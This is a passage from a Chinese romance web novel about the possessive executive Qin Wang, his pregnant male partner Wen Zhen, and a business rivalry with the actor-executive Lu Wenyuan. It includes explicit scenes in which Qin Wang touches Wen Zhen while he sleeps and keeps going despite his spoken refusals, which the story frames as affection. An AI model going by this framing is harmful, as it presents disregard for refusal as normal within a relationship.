温真催促,“快去吧, 这么晚找你,肯定有大事情。” 秦妄穿好衣服,临走又嘱咐道:“不知道什么时候回来, 不用等我。” 赵程开车过来接他, 秦妄一出门就看见他站在车前,他大步迈过去, 居高临下, 幽幽盯着赵程, 然后一言不发地上了车。 赵程:“……” 赵程擦了擦脑门上的汗,他最近也没犯错啊,闻了闻自己身上,也没烟味啊,干嘛一副恨不得将他千刀万剐的眼神。 赵程害怕又疑惑地上了车。 途中, 向他汇报, “我们晚了一步,被强源集团抢了先和木易的总负责人见了面。” 秦氏集团打算进军新领域,这个领域只有木易有核心技术。 木易所掌握的核心技术原本是做工厂的生产机器的, 生产机器逐渐被淘汰, 核心技术也就没了用武之地, 但是他们很快发现这个核心技术进行改动后,便能用来开发新产品,新产品国内暂时无人涉足,还是一片蓝海。 而强源集团涉及游戏、影视、通讯等领域,和他们这次收购的核心技术差了十万八千里,原本不在他们防备的范围内。 新产品是他们接下来一年主推的产品,重中之重,虽然不知道强源集团的人见木易总负责人究竟打算做什么,但他们并不敢掉以轻心。 木易如果被其他竞争对手抢先,接下来他们整个布局和规划都要重新来,会耗费大量的人力财力。 “这个强源集团原本的董事长是刘峰为,集团三十周年庆的时候他还来道喜。”赵程道:“去年刘峰为身体不好退位,陆文元接手。” “陆文元接手后,强源集团内部进行了好几次大的变革。” “这个陆文元还有一重身份,他是个演员。得过很多奖,粉丝将近一个亿,是当之不愧的顶流。” 赵程继续给秦妄介绍。 “还有,他最近在接触温先生的作品,打算购买版权。” 到了集团,秦妄和股东开了一个内部会,股东都一致认为要提前和木易总负责人见面的时间。 “如果强源只在他们目前所涉及的领域,那对我们构不成威胁,但是一旦和我们成为竞争对手,对方的实力也不能小看。” “是,而且强源的董事长现在成了陆文元,他可是影帝,对客户的影响力都是巨大的。” “我们最好抢占先机。” 但是秦妄却淡淡道:“既然和他们约好了三天之后见,那就三天之后见,如果提前,显得我们自乱了阵脚。” 赵程很快明白秦妄的意思,“目前强源集团只是和他们见了一面,如果我们这个时候急了,说不定对方会坐地起价。” 生意场就是这样,一件东西无人问津,那就没有任何价值,要是数个人抢,很快就会坐地起价。 股东们原本有些忐忑,但看着秦妄笃定和从容的眉眼焦灼的心都安定不少。 安抚完股东们已经是晚上十二点了,秦妄回到家,家里灯还亮着,他悄声地上楼,洗完澡后躺在床上,盯着温真。 说不让等他,倒真不等他,眼睫垂落,睡得很香,秦妄把他抱在怀里也不醒,隔着衣服捏他也不醒,还主动地蹭他的脸,不知道为什么挨着他就手痒心痒,想摸他,咬他,尤其是睡着的时候。 于是大半夜他不睡觉,一会亲温真一口,一会儿咬温真一口,然后钻到被子里面。 第二天是周末,付钰宁要补课,不回家,于是温真还待在秦妄这里,他七点的生物钟准时醒,醒过来觉得下半身麻麻的。 这几天住在这里,醒来总会这样有点不舒服。 温真本以为是他趁着自己睡觉的时候做了什么,可是又觉得一个正常人不会每天晚上都那样。 应该是自己不小心碰到了,温真脸颊莹润地红,看着熟睡中的男人。 温真也没叫醒他,就那样看着他,蹭他的脸,摸他的脑袋,过去两个月了,头发长长了许多,可他又剃短了,露出头皮。 头皮是男人异常敏感的地方,男人清醒的时候温真并不敢摸,只敢趁着他睡着的时候摸一摸。 温真的手心刚放上去,他便猛地睁开了眼睛。 一把拽住温真手腕,灼灼地盯着他,“趁我睡着要做什么?” “摸摸你。”温真有些害羞地笑。 “经过我的允许了吗?”秦妄也笑,蹭他的鼻子。 “你……也没有经过我的允许。” “你是我的,我想怎么样就怎么样。” 秦妄将他搂在怀里,轻轻咬他的脸,好像刚睡醒就要吃nai的小孩子,吮着他脸上的肉吸弄着,没一会儿就要解温真的衣服。 男人成熟的外表总让温真忽略他今年还是一个24岁年富力强,有着无限精力,和一点就着欲望的男孩子,这几天住在这里,被他来回摆弄,温真会产生一种迟早会被他弄坏的感觉。 温真怕得赶忙推开他,“还要去商场……” 别墅里有一件面朝山林的空房间,温真马上要居家办公,秦妄打算布置成书房给温真用,家具之类的本想让人送过来就好了,但温真想亲自逛逛,秦妄最近也不是太忙,于是乐意和他一起干这些事情。 去泾市最大购物商场,赵程开车。 到地方的时候,秦妄去接了一个工作电话,走开了一会儿。温真在车上等他无聊,打开手机看关于陆文元的片段。 泾市最近回暖,雪滴滴答答化得差不多,石美青打算周一便和温真去见陆文元,温真想着,既然对方是甲方,那见他之前了解他是应该做的。 他打开一个视频,忘记调小音量了,陆文元三个字被大声地读出来。 他歉疚地看了一眼赵程,希望没有吓到他。 过了一会儿,赵程道:“陆文元这个人挺厉害的,不仅是影帝,还是强源集团的董事长。” “我们最近在和强源争一个核心技术,我昨天晚上打电话给秦总就是因为这件事。” 橙风虽然成了秦氏集团的产业,但是自主权利还是很高的,像是买卖版权这种事情,不必向上汇报,自己做主就好了。 秦氏集团不做版权这块的生意,但毕竟和强源成了竞争对手,温真作品版权卖给他股东们心里肯定有意见。 而秦妄呢,现在和温真正是甜蜜的时候,秦妄肯定不会干涉温真的意愿。 但赵程还是想让温真知道这件事。 温真关掉屏幕,没说什么。 秦妄打完电话回来,打开车门,没急着让温真下来,给他围好围巾又戴好手套,才牵着他的手往商场走。 马上要圣诞节了,商场人很多,秦妄紧紧牵着温真,唯恐别人不小心碰到温真,但还是有调皮的小孩在商场里乱跑撞温真腿上。 秦妄一点不因为对方是个小孩就算了,沉着脸把他揪起来,训斥道:“你妈妈呢?这是你乱跑的地方吗?” 小孩子没见过这么凶的大人,吓得哇一声哭起来,哭声吸引了他的妈妈,她妈妈赶紧走过来,正要质问秦妄为什么欺负一个小孩子,就见秦妄个子高大,剃着寸头,虽然长得很英俊,但神情阴沉极了,一副不好惹的样子,当即什么也不敢说,牵着孩子便走了。 妈妈带着小孩子走了,秦妄把温真带到人少的地方,二话不说掀开他的裤子看,“别动,我看看伤到了没有。” “小孩子力道轻,不疼的……”温真垂眼,露出一点笑意,看着男人弯下那么高大的身躯帮他看腿。 “好了,我们快去看家具吧。”温真轻声。 看腿上没有红肿后秦妄才把他的裤子给放下,继续牵着温真走。 接下来的一段路,他沉着脸,无差别地盯着每一个人,大家都被他那样的眼神吓到了,走到他们跟前的时自动绕远。 于是整个人满为患的商场,无论秦妄和温真走到哪里,哪里都会自动让出一条路。 赵程跟着他们后面,默默地想,“这在某种意义上怎么不算是清空商场里的人呢。” 买了书桌和椅子的同时,还买了许多成双成对的东西,比如拖鞋、睡衣、牙刷、杯子、毛巾等日常用品。 看着购物车满满当当的东西,温真好像才意识到,他的生活中开始有了另一个人,而他也踏入了另一个人的生活中。 商场送来他们买的书桌和椅子等一些大件的物品。书桌和椅子都需要自己组装,温真以前给女儿买书桌的时候是他组装的,他想试试,结果被秦妄抱到一边。 温真只好看着男人挽起袖子拿着工具,将零散的,木板一点一点拼凑成桌子,拧螺丝和搬运时,能看到胳膊上隆起的肌肉和力量。 他给女儿买的书桌没那么多格子,却也费了不少时间,组装到一半温真便有点后悔为什么不买成品,可男人踩着一块木板,动作利落卡合,拧螺丝,步骤多而繁琐,却没有显出一丝不耐。 像是因为要给他做的,所以格外的认真、仔细和珍重。 等桌子和椅子都组装好之后,秦妄询问他,“打算怎么放?” 很快秦妄便根据他的意见摆放好了,桌子正对着窗户,旁边是书柜,还有一个可供休息的沙发,是温真最喜欢的原木风,简洁亮堂。 温真推开窗户,外面的风吹进来,室内开了暖气,很热,凉风吹进来,让温真感到清爽。 秦妄摆好了沙发,走到他身后,抱住他,“冷不冷?” 温真转过来,“不冷……” 秦妄不相信,“我要摸摸。” 手掌很快探到温真的衣服里面,刚拧完螺丝,手掌发烫,贴在温真的肚皮上,温真微微颤抖起来,“别,别……” 秦妄托抱起他,把他放在书桌上,“别什么?” 掰开他的退挤进去,额头撞温真的额头,轻轻咬温真的唇瓣,不那么粗暴,一点一点地□□温真的嘴唇,滚烫的掌心从肚皮一路往上,揉捏住,温真身子微微发软,残存的理智让他推开他。 “不行……” “为什么不行?”秦妄用指腹刺激着,“我辛辛苦苦干活,你不给我报酬。” “你要压榨我吗?” “什么压榨……”温真露出笑意,又很快被男人弄得呼吸急促起来,“你自己非要装的……别揉那里……” “那我是不是给你装好了。”不讲理地继续揉,慢慢被刺激地从孔隙里露头,长大起来。 秦妄收回手,盯着看,丁页出小包,颤颤巍巍的,好像天生便该让他吮在嘴里的。 羞耻极了的样子,温真想捂住,可男人箍住他的手举高,接着便被吃进去,和针织衣一起,被男人刺激得脆弱,蹭在毛茸茸的衣服上,又被吮弄,说不清是痒还是什么,温真微微颤动着…… “别,之浸,我有事情和你说。”温真呼吸不稳道。 “我明天要和石美青到隔壁市一趟。”石美青发短信告诉他,陆文元正在隔壁排练话剧,所以他们要见他,需要明天坐车去一趟隔壁市。 牙齿在上面磨了一下,秦妄抬起头,“去隔壁市?” “不是都要居家办公了吗?” “为什么要去隔壁市?” “还有工作,去完之后,我就居家办公,不会再出去了。”温真满脸晕红,小心地看着男人的脸色。 “什么工作?”秦妄紧盯着他。 “去见一个客户。”温真躲避他的视线。 像是相信了,秦妄抱着他从桌子上下来。 那里被他含得湿掉了,温真羞耻地去换衣服,换完后温真去厨房和佣人一起准备晚餐。 秦妄接了一个工作电话后,让赵程去问石美青去隔壁市做什么。 赵程很快回复他,“是去见陆文元。” 【📢作者有话说】 不会虐,也不会有误会的,只是想写个play啊 45 ? 第 45 章 ◎“夫妻生活不要太频繁。”◎ 泾市到隔壁市的路程只有一个小时, 当天去其实也来得及,但石美青一直腰疼, 听说隔壁市有个老中医治疗腰疼很有疗效,打算提前一天去,她没让温真陪着她提前去。 温真想了想,还是打算和她一起,两个人一路上有个照应。 他们周日下午出发,上午收拾行李。 其实明天就回来了, 也没什么好收拾的,而且隔壁市比他们这里要暖和,连厚一点的衣服都不用带。 秦妄却不放心, 让温真拿了退烧贴, 缓解晕车的香水,还有按摩手的仪器。 温真看着他不停往自己的行李包里塞东西, 无奈极了, “只是去一天, 太多东西会不好拿的。” “我送你过去。” “不用了……” 两个市挨得近,没有飞机,只有高铁,这段时间又是圣诞节又是元旦的,高铁上的人很多, 秦妄当然不能让他怀着孕去和人挤来挤去。 “送完你我就回来。”秦妄不允许他拒绝。 小小的行李包被撑得要拉不上锁链, 秦妄又拿着一件自己的衬衣,单独装进一个前面的小包里。 “以防你想我,给你装一件我的衣服, 晚上睡觉的时候, ”秦妄看着他。“可以闻。” “也允许你做其他的事情, 比如……” 温真难为情地捂他嘴,“不要说了……” 秦妄把最后一道拉链拉好,然后反手握住温真的手腕,抱着他就要扒他的裤子,冷笑道:“我给你我的衬衣,你也要给我留一件你的衣服,我要这件……” 他拽住温真的内裤,温真红着脸推他,“这件不行……” “我就想要这件。” “不行……”男人力气大的惊人,温真推不动,只好攥紧自己的衣服,以防真的被他扒下来。 “宁宁,那里就是我小叔的别墅,漂亮吧。”秦宝章兴高采烈地给付钰宁指那栋掩映在山林中的大房子。 秦宝章和付钰宁打算去一所大学,为了提高成绩,两个人开始补课,一个补化学,一个补物理,原本补完课就直接去去学校的,但付钰宁知道温真要去外地,想过来看看他,秦宝章便带着她过来。 车子转了一个弯,停在别墅门口,秦宝章下车,扶着车门让付钰宁也下来,别墅门开着,秦宝章背着书包和付钰宁一起进去。 家里的佣人听见动静走出来,“宝章少爷。” “我小叔呢?” “在楼上,我这就去叫他。” “不用了,我们自己上去,”秦宝章又对和付钰宁说,“宁宁,走,我们一起上去。” 两个人上了二楼,走廊尽头的房间门开着,隐隐约约传出声音,秦宝章疑惑,“他们在干什么?” 付钰宁摇摇头。 门开了一条小缝,两个脑袋叠在一起趴在门缝上,四只圆溜溜的眼睛正好奇地朝里面看,温真徒然一惊,慌忙道:“宁宁?” 秦妄一顿,转过身来,挡住温真,“你们不上学到这里干什么?” “宁宁,你不是直接去学校吗?”温真两颊晕红。 幸亏秦妄只是和他闹着玩,没真做什么,不然…… “我们补完课了,去学校之前宁宁想开看看温叔叔。”秦宝章问:“小叔,温叔叔,你们刚才在干什么?” “小叔你刚才是不是在扒温叔叔的裤子,”秦宝章好奇地问。 付钰宁拉了拉他,示意他别再问了。 秦妄被秦宝章问得脸一会儿黑一会儿青,拽住秦宝章的书包给他拽到楼下去,让温真和女儿单独相处。 “爸爸,你怎么还要出差啊?你都有宝宝了,别这么累了。”付钰宁小声。 “爸爸知道了。”温真笑,“等这次见完客户,爸爸就不去公司了。” “带缓解晕车的香水了吗?”付钰宁从书包里拿出一个小瓶子,是柑橘味的香水,以往温真每一次晕车的时候,闻一闻这个就会好很多。 “带了……”温真脸有些红,“你的这个爸爸也拿上。”温真害怕女儿失望。 付钰宁一下子就猜到了,“秦叔叔给你带的。” 温真点点头。 两个人说了一些话,主要是温真说,无非是要付钰宁在学校好好吃饭,不要为了漂亮不肯穿衣服。 到了温真该走的时候,温真和秦妄看着两个小孩上车,付钰宁先坐上去。 秦宝章要上去时,秦妄拽住他,警告他,“下次来要提前给我打声招呼,再敢一声不吭地跑来,我饶不了你。” 秦宝章嚷嚷,“我以前来都是一声不吭地跑来的,为什么这次要骂我!” “以前是以前,现在是现在。” “听见了没有。” “听见了!” 看着送他们去学校的车辆走远,秦妄回去把温真的行李放到后备箱,开车带着温真去接石美青。 抛开在生意场上,秦妄其实是个面向很凶,但很热心肠的男人,他看石美青拿的东西多,下车帮她把东西放在后背箱子里。 石美青一脸惶恐地感谢,心里想着,也是托了温真的福,有朝一日能让大老板给他搬行李。 上了车,知道自己是电灯泡的她一言不发,尽量减少存在感,让大老板和温真尽量沉浸式的甜蜜。 出差都是有经费的,预定的酒店也就是中等档次,秦妄自己出钱给他们订了隔壁市最高档的酒店。看他们安置好也没急着走,而是和他们一起去看中医。 中医是个年纪大的老头,捏了两下石美青的腰,三言两语地指出问题。 秦妄见状,让他也给温真看看。 中医把了把脉,沉吟一会儿,“夫妻生活不要太频繁……” “我让你给他看手的问题,你看什么?”秦妄道。 “你也应该克制一点。” 秦妄:“……” 石美青默默走远。 救命!我什么都没有听到啊! 看完出来天都黑了,秦妄把他们送回酒店,石美青先下去,给他们说话的机会。 “感觉他医术一般,连你手疼都看不出来。”秦妄幽幽道。 “怎么会。”温真低头思忖着,还在为医生的诊断脸红,过了一会儿,他下定决定了一样,“我看,我们以后还是分开睡吧……” 秦妄:“……” *** 隔壁市暖和一点,温真脱了厚棉袄,毕竟是去见重要的客户,温真不敢穿得太随便,学着秦妄,里面穿西装,外面套了一件风衣,正式的同时,还能遮住他的孕肚。 到了剧院门口,有个女生接待他们,“你好,我是陆文元的经纪人,我叫李墨。” 此地一大出名的就是这个剧院,百年的古建筑,翻新了几次,看起来依旧金碧辉煌,巍峨高耸,剧院旁边还建立几所小型舞台剧的场地,每天都有许多曲目上演。 即使是早上,温真还是能看到穿着古代服侍、西方洋裙的演员们。 周围的环境都非常现代都市化,那些装扮逼真的公主、绅士像是穿越过来的,既显得格格不入,又让觉得惊奇。 李墨领着他们到剧院里面的后台,“你们在这里稍等一会儿,陆总他正在和别的客户谈生意,大概十点钟回来。” “陆总交代我,他回来之前,想让你们先见一个人。他也是温先生的粉丝。” “陆总还说了,想不想见主要看温先生的意思,如果不愿意其他人,可以选择不见。” 温真看了一眼石美青,然后轻声,“没关系,可以见。” “那你们稍等。” 门没有关严,过了一会儿,外面响起脚步声,停在他们门口。 一个低沉温柔的男声道:“很紧张吗?” “叔叔,你和我一起进去好吗?”甜美青涩的声音,要比问话的人年轻许多。 “好。” 没等一会儿,温真便见一个西装革履的男士牵着一个男孩子走了进来。 西装革履的男士英俊斯文,露出淡淡的微笑。 “温先生,你好,我是傅明义。” “这是我的妻子,温潼,他很喜欢你的作品,所以想见见你。” 那个叫温潼的男生下巴尖尖的,圆圆的眼睛占脸的三分之一,看起来稚嫩甜美,让人情不自禁地产生怜爱。 似乎很胆怯,他躲在傅明义的身后,害羞又崇拜地看着温真。 温真愣了一下,才慌忙笑道:“你好……谢谢你喜欢我的作品。” 温潼脸颊慢慢变红了,依赖求助地看向傅明义。 傅明义温柔地笑,“不是想找温先生签名吗?你不把东西拿出来人家怎么帮你签名?” 然后傅明义又对温真歉疚道:“抱歉,他胆子有点小,面对陌生人会很紧张。” 温真脸颊红红的,慌忙从兔子包包里拿出几本漫画书,都是温真的作品。 “大大,可以帮我签名吗?”温潼羞怯期待地说。 温真接过来,在每一本上都认真地写上自己的名字,然后还给他。 温潼欣喜地给傅明义看。 傅明义问,“开心吗?” “开心。”温潼回答着,珍惜把温真签过名的作品放到书包里。 “那我们就不打扰你们了。”傅明义向温真道过谢,牵着温潼的手出去。 走到门口,温潼回过头,抿出两个小梨涡,和温真说再见。 “叔叔,我们悄悄走开,童仪和傅宝会不会发现?” “发现也没关系,有陈叔陪他们呢。” 声音逐渐消失。 石美青回过神来,“你听见他说什么了没有?妻子?他们两个是夫妻?” “那个男孩子看起来也太小了吧,感觉只和你女儿差不多,那个叫傅明义的,虽然很英俊,但应该也有三十岁了。” 温真目光有些柔和,不知道为什么,他第一次见温潼,便很喜欢他。 到了约定的时间,陆文元没有来,李墨一边道歉一边和他们解释。 “对不起,是这样的,陆总他遇到一些问题,可以要晚一点才能回来,你们要是等得无聊,可以先去旁边看看演出。这是我们内部的员工卡,你们可以随便看。” 陆文元又经营公司又是演员,肯定忙得连轴转,石美青和温真也都理解,便先去看演出。 与此同时的泾市。 木易公司的会客室,坐着一位三十岁的男士,他并不是那种一眼便惊艳的帅哥,五官也不是太出色,但偏偏看起来很有味道,和出现在大众前不同,他看起来更随意慵懒一点。 他皱着眉,频繁地看表。 “陆总,你说这个木易怎么回事,让我们等这么久?把您和温先生的见面都耽误了。” 陆文元没说话,只是问,“李墨安排傅明义夫妻见温真了吗?” “已经见过了。” “这样真能让他们和我们合作吗?”助理问。 “谋事在人,成事在天。” 又过了半个钟,木易的老板才出来,陆文元正要迎过去,便见后面站着一个肃冷阴鸷的男人,看见他后,缓缓露出一个笑容。 “陆总,好久不见。”秦妄道。 陆文元也笑,“好久不见。” 木易的老板管易道:“你们认识啊。” 陆文元并不想在此事上耽误功夫,直言问,“管总,我开的条件……” 管易打断他,“对不起,我还是决定把机器卖给秦总。” 陆文元眼睛一眯,“为什么,我开出的条件明明比他高很多。” 管易:“对不起,这并不是钱不钱的事情。” 有员工找他,他向他们说了一声抱歉后,便匆匆走了。 “我很好奇,你是怎么说服他的?”陆文元道。 “为什么要告诉你。”秦妄居高临下看着他。 陆文元被呛了一下,“也是,确实不如你手段高明,能把自己亲哥哥送到牢里。” 陆文元缓了缓,维持着成年人的礼貌,客套了一下,“今天我的团队在隔壁市有个演出,如果有时间可以来看。” “正好我下午有时间。”秦妄并不客气。 陆文元脸色又僵了一下,“欢迎,欢迎。” 陆文元走后,赵程问,“我们真要去看他演出啊?” “我只是想知道,他对温真有什么目的。” “秦总,你是不是和他认识?” 秦妄冷笑一声,当然认识。 陆文元和秦文商好过。 *** 温真和石美青看了一部讲述爱情的话剧,看了一会儿,温真手机响了,他出来走到楼道那里接电话,接完听到上面一层有人在哭,哭得挺伤心的,温真便过去看了看。 一个女生坐在楼梯脸埋在退上,一边哭一边大喘气。 温真在她旁边放了一包纸巾,打算要走的时候,女生忽然抬起头,“谢谢。” 温真看他和自己女儿年龄差不多,忽然心生不忍,“发生什么事情了吗?” 女生估计看他是个陌生人,就和他讲了,“下午有个外国的剧目表演,演米娜夫人的女演员忽然爽约了,我不知道去去什么地方找人……” 温真正想安慰她,女生红肿眼睛忽然越来越亮,“对不起,我忽然感觉你挺合适的,你能帮帮我吗?” 没一会儿,温真便被她带到了后台的化妆室里。 看着那件中古世纪的贵妇们才会穿的束腰、大裙摆、曳地的裙子。 温真为难地摇头,“这个,我恐怕不合适……” 【📢作者有话说】 秦总要钻裙子了^ ^ 46 ? 第 46 章 ◎“……混账……”◎ 女生想让温真帮忙演的话剧名叫《刻骨之恋》, 主要讲述王子爱上自己后妈的故事。 米娜夫人便是王子后妈。 “你放心好了,米娜夫人只有一句台词, 说完这句台词就因为肺结核死亡了,接下来整场戏都躺在一个冰棺里。” “抱歉,我恐怕不行……”温真还是没办法答应,虽然只有一句台词,可要穿这种大裙子,还要上台, 被那么多人看到,他感觉很难为情。 女生失望了一会儿,但并没有强迫他, “不用说抱歉, 本来就是我太冒昧了,没关系我再找人就好了。” “还是谢谢你给我纸巾, 安慰我。”女生努力地挤出笑脸。 化妆室的门被大力推开, 走进来一个戴帽子穿马甲的男人, 他嘲讽道:“马上就要开始了,找到人了吗?” “如果因为你的失职耽误演出,根据当初我们签约的合同,你要赔偿。”男人冷笑道:“好自为之吧。” “谢谢关心。”女生压抑着怒气,“人我已经找好了。” 男人脸色变了变, “好啊, 那我期待。” 人走了之后,女生失神地坐在椅子上,泪珠像是断了线一样往下淌。 打算要走的温真, 忽然问道:“他为什么这样对你?” 女生抽泣着, “他想塞自己的人来演这场话剧的角色, 只有我提出了反对,本来以为我人微言轻,建议不会被采纳,结果上面的人真的没有用他的人,他不敢对上面的人说什么,只好拿我出气。” 女生解释完,又开始打电话给别人,结果都是被拒,最后她索性不打了,“随便吧,反正我没钱,打官司就打吧。”说完,她黯然地看着窗外。 温真知道最近环境不好,说不定某一件事情就是压死骆驼的最后一根稻草,而且,他初入职场的时候也曾受过排挤,这个时候,他没办法无动于衷。 温真沉默了一会儿道:“米娜夫人是个女人,如果我扮演的话……” 女生愣了一下,忽然睁大眼睛,“你同意了!” 她有些手足无措,“舞台剧的妆会很浓,我们经常也会有男扮女,女扮男这种装饰,再者……” 她主要的工作职责就是帮剧组挑合适的演员,虽然才上班没多长时间,但她够勤奋,学得快,她见温真第一眼就想让他帮忙,不是病急乱投医,而是温真的底子、可塑造力太强了。 有时候他们找人来演戏并不爱选过于美貌和英俊的,更偏爱脸部塑造力强的演员。 “还有一个问题,我的腹部……”温真脸庞泛红地解开自己的风衣,“这样可以吗?” 看着那浑圆的孕肚,女生惊讶又兴奋地吞了吞口水,“太巧了,因为米娜夫人正好是怀孕的状态,虽然原版设定的孕肚没有这么大,但观众应该也不会太在意。” “那就好。”温真轻声,露出一点柔和的笑意。 “我马上叫云云过来给你化妆,再找个人给你对一下戏……” “嗯。” *** 保姆车缓缓开进戏院,陆文元戴着墨镜和帽子下车,李墨举着一把黑伞遮在他头顶,一路护着陆文元进了戏院专门给他准备的休息室。 到了休息室,陆文元取下帽子和墨镜,疲惫地坐在沙发上。 李墨道:“距离一会儿的演出还有半个小时,要不要先见一见石美青他们。” “半个小时时间太短了,我是诚心诚意想和他们谈版权的事情。” “你先邀请他们看我的演出,等演出结束后我再和他们详谈。” “要不是秦妄捣乱,安排好的事情也不会被打乱。” 徒然听到秦这个姓氏,李墨神色复杂地看了陆文元一眼,“你费了那么大的周折讨好傅明义是为了什么?” 陆文元常住地其实也是泾市,本来打算和温真他们在泾市见面,不过他听说傅明义带着他的妻子到这里来看演出,便把见面的地点改成这里,又不经意地告诉傅明义他妻子喜欢的画家要在此地和他谈合作,如果他有空的话可以带着妻子去见一见。 因此才会有上午那一幕。 “只是想和傅明义合作而已。”陆文元缓缓摩挲着无名指上的戒指。 傅氏集团和秦氏集团都很庞大,但因为所属的行业不同,没有牵扯到利益,所以井水不犯河水,他自己一个人肯定对付不了秦氏集团,加上傅明义就不同了。 从秦文商坐牢后,他的目的只有一个,那就是毁掉秦氏集团。 *** 保姆车开进戏院没多久,黑色的库里南也开进来,秦妄带着赵程熟门熟路地找到陆文元即将要演出的地方。 赵程好奇,“秦总,你以前来过?” “以前每年,秦文商都会安排我们一家来这里看演出。”秦妄道。 当初还以为他单纯为了让他们陶冶情操,后来才知道是找他们打掩护和陆文元私会。 那个时候,集团有很多笔往一个mnc的公司的汇款,那都是秦文商为了捧陆文元下的血本,就连那个绯闻中的陈沁都是秦文商为了不让陆文元毁掉前途的一步棋子。 秦富威对秦文商格外严格,从小就把他送到了国外,成年回来就接手秦氏集团,秦妄对他的感情并不深,秦文商对他们也没什么感情。 不过秦文商应当是爱惨了陆文元,不惜把自己名下的资产转移到他名下,即使他因为挪用资金坐牢后,也能非常有手段的,没牵扯到陆文元一点。 有一次他其实撞见过秦文商和陆文元同在一个房间里,陆文元面容冷淡,一点也看不出对秦文商的爱意,秦文商坐牢后,陆文元却如日中天地火了起来,无论接受什么采访,他都一副光彩照人的样子,看不出半点伤感。 秦舢当时还愤怒道:“要是文商知道他坐牢后,他这样风光,不知道会不会后悔。” 那时候他们都以为陆文元对秦文商的感情大概就是对待金主的感情,这个倒台之后,马上找下一个。 现在秦妄觉得,或许这个人前风光的影帝对秦文商并不是没有感情。 *** 温潼被傅明义叫醒后,揉了揉惺忪的眼睛,坐在傅明义的腿上,让傅明义帮他穿衣服和鞋子。 “叔叔,我们要去什么地方?” “你忘了,陆先生邀请我们去看他的演出。”傅明义笑。 “其实不见温先生也可以的。”温真内疚极了,“我还以为陆先生和我一样,只是单纯的喜欢的温真……” 温潼和傅明义结婚后,有一些希望傅明义帮忙的人不直接找傅明义,而是来找他,送给他昂贵的礼物,温潼并没有收过。 直到有一人送了温潼非常喜欢的,一个画家绝版的作品,温潼实在不舍得,便收下了,而温潼收下这个礼物的代价就是傅明义要帮对方的忙。 从那之后,温潼无论别人送温潼什么礼物,温潼都不会再收了。 陆文元前段时间和叔叔有生意来往,当时他正在追温真的《清心诀》,陆文元惊讶地问,“你也喜欢这个作者的作品?” 知道陆文元也喜欢温真的作品后,害羞胆小的他很快和陆文元拉近了距离,前几天,陆文元忽然说自己想要买《清心诀》的版权,要约作者见面,还问他想不想见作者本人。 温潼当然很很想见了,而且很巧合的是陆文元和温真见面的地点也在戏院里。 傅明义看他高兴,就让他见了,见完之后温潼才听陈牧说,原来陆文元也是为了要叔叔帮他的忙才对他说自己也喜欢温真的。 温潼伤心又内疚,他又给叔叔添麻烦了。 傅明义摸了摸他细软的头发,又亲了亲他的脸颊,“既然很高兴,那为什么不见。” “这些是他自己要做的,我可以选择帮他,也能选择不帮他。”傅明义抱着他下床,“叔叔不会让别人控制自己的。” “别伤心了,孩子都在外面等你呢。” 提起孩子,温潼忧心的样子才好转一些,他红着耳根,“别抱、别抱,会被宝宝看见的……” 傅明义笑着放他下来,然后一家四口去看陆文元的演出。 *** 一场不知所云的戏剧演完了,温真还没回来,石美青给他打电话,倒是很快接通。 “石总,抱歉,我这边出了点事情,可能要耽搁一会儿。” “行,你忙吧,正好陆文元的经纪人说陆文元的有演出,要我们先看他们的演出,和我们的见面推到晚上了。” 挂了电话,石美青也被李墨带着去了陆文元演出的剧场里面。 *** 开场前的十分钟,陆文元已经做好装扮了,助理跑过来告诉他,“演米娜夫人的演员换人了,到时候您注意一些。” “嗯。”陆文元面容平静,临开场对戏的演员忽然被换,或是对着空气说台词这种是他从前司空见惯的情形,他并不意外和慌张。 陆文元是大腕,化妆室是单纯的,而与之一墙相隔的群演的化妆室里,温真也化好了妆,等换上那华贵的礼服,女生和她化妆师朋友都看呆了。 “天啊!感觉他比那个故意放我们鸽子的演员还要适合这个角色。” “太美了,实在太美了,又美又圣洁,天啊!” 温真并不懂舞台妆这种事情,他全程都依着她们在自己脸上和头发上捣鼓,化妆室里没有全身镜,温真看不到自己的样子,而且他也不太想看,身为一个男人却穿裙子,对温真来说,总归是难为情的。 幸好他是在外地,面对的也全都是陌生人。 这个话剧主角是阿卡米修王子,米娜夫人是用来展现他痴情人设的一个工具。 作者既想要展现阿卡米修王子的痴情,又想要阿卡米修和别的女生产生关系,于是便让米娜夫人开局便死亡。 因此温真饰演的米娜夫人要第一个先上场,因为米娜夫人身体不好,出场是半躺在一张床上,死了之后阿卡米修王子没有将米娜夫人入殓,就把她保存在床上。 那是一张金色的床,点缀着白色的花,温真按照女生的要求半倚靠在穿上,白色的大裙摆铺开着,远远看着,像是躺在圣洁的花丛中。 “刚才你和小黑对戏,演得很棒,等会儿不过是换个地方演而已,别紧张。加油。” 幕布马上要掀开,女生害怕温真紧张,安慰他,给他打气。 *** 与此同时,来看这场演出的人陆陆续续坐到自己的位置上。 演出已经倒计时了,一个穿西装三件套的男人,带着一个助理才走进来,坐到最前面的位置。 石美青坐得靠后一点,她感觉那个男人特别像秦妄,但是又觉得自己看错了,秦妄这个时候应该在泾市,怎么可能到这里来看演出。 秦妄坐好后,发现旁边四只圆溜溜的眼睛一眨不眨地望着他,眼睛里既有好奇又有害怕,尤其是那个小男孩,吓得躲在姐姐后面,还要偷偷地看他。 秦妄也面无表情地盯着他们。 没一会儿,小孩便哽咽地喊,“妈妈,他好吓人……” 温潼道:“傅宝,不可以,不可以这么没礼貌。” 傅明义看了一眼傅宝说吓人的男人,倒是巧了,他认识。 “抱歉,孩子有点胆小。” 秦妄也认出他,淡淡一点头,便将视线移到舞台上。 幕布缓缓拉开,映入眼帘地便是一张中古世纪宫廷里的浮雕大床,这张床是导演耗费了大量资金还原的,上面点缀着白色的花朵和宝石,无异是赏心悦目的,但此刻并没有人欣赏,所有人的目光都一眨不眨地看着床上的那个‘女人’。 金发全部盘了起来,露出没有棱角的鹅蛋脸,雪白的肌肤,眼睛是蓝色的,长而卷曲的睫毛低垂着。 身上是一件白色的一字肩礼裙,优雅的脖颈上戴着同样色系的宝石项链,丰腴雪白的手臂上缠了三圈银白色的手环,点缀着钻石和宝石的裙摆整个铺开在床上。 这样的装饰和打扮让他看起来高雅圣洁,而那微微隆起的孕肚,又让他添了一层母性和神性。 观众席的惊呼一声接着一声。 “天啊,好美!” 秦妄脸色凝重起来。 很快陆文元饰演的阿卡米修王子上场了。 米娜夫人是阿卡米修的父亲的妻子,阿卡米修却喜欢上了她,无法忍受爱意的他,打算和米娜夫人倾诉自己的爱意。 结果米娜夫人被他的爱意刺激得直接吐血身亡。 舞台上,陆文元饰演的阿卡米修王子说着大段大段的爱语,温真盯着他,先是被冒犯的怒气和震惊,然后便是痛苦。 对方想强行拥抱他。 